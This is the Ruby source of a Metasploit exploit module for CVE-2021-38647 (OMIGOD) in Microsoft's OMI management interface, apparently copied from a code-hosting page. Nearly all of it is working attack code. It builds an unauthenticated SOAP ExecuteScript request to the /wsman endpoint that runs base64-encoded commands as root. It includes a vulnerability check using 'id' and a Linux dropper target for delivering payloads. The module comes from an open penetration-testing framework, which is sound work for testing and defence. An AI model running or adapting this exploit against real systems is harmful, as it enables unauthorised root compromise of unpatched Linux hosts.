171 lines
6.3 KiB
Ruby
171 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
|
|
'Description' => %q{
|
|
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
|
|
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
|
|
OMI version 1.6.8-1 (released September 8th 2021).
|
|
},
|
|
'Author' => [
|
|
'Nir Ohfeld', # vulnerability discovery & research
|
|
'Shir Tamari', # vulnerability discovery & research
|
|
'Spencer McIntyre', # metasploit module
|
|
'wvu' # vulnerability research
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-38647'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
|
|
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
|
|
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
|
|
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
|
|
],
|
|
'DisclosureDate' => '2021-09-14',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 5985,
|
|
'SSL' => false,
|
|
'MeterpreterTryToFork' => true
|
|
},
|
|
'Notes' => {
|
|
'AKA' => ['OMIGOD'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
http_res = send_command('id')
|
|
return CheckCode::Unknown if http_res.nil?
|
|
return CheckCode::Safe unless http_res.code == 200
|
|
|
|
cmd_res = parse_response(http_res)
|
|
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /
|
|
|
|
return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
result = execute_command(payload.encoded)
|
|
if result
|
|
print_status(result[:stdout]) unless result[:stdout].blank?
|
|
print_error(result[:stderr]) unless result[:stderr].blank?
|
|
end
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
res = send_command(cmd)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
|
|
end
|
|
|
|
parse_response(res)
|
|
end
|
|
|
|
def parse_response(res)
|
|
return nil unless res&.code == 200
|
|
|
|
return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
|
|
unless return_code == 0
|
|
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
|
|
end
|
|
|
|
{
|
|
return_code: return_code,
|
|
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
|
|
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
|
|
}
|
|
end
|
|
|
|
def send_command(cmd)
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'ctype' => 'text/xml;charset=UTF-8',
|
|
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
|
|
<s:Header>
|
|
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
|
|
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
|
|
<a:ReplyTo>
|
|
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
|
</a:ReplyTo>
|
|
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
|
|
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
|
|
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
|
|
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
|
|
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
|
|
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
|
|
<w:OptionSet s:mustUnderstand="true"/>
|
|
<w:SelectorSet>
|
|
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
|
|
</w:SelectorSet>
|
|
</s:Header>
|
|
<s:Body>
|
|
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
|
|
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
|
|
<p:Arguments/>
|
|
<p:timeout>0</p:timeout>
|
|
<p:b64encoded>true</p:b64encoded>
|
|
</p:ExecuteScript_INPUT>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
ENVELOPE
|
|
)
|
|
end
|
|
end
|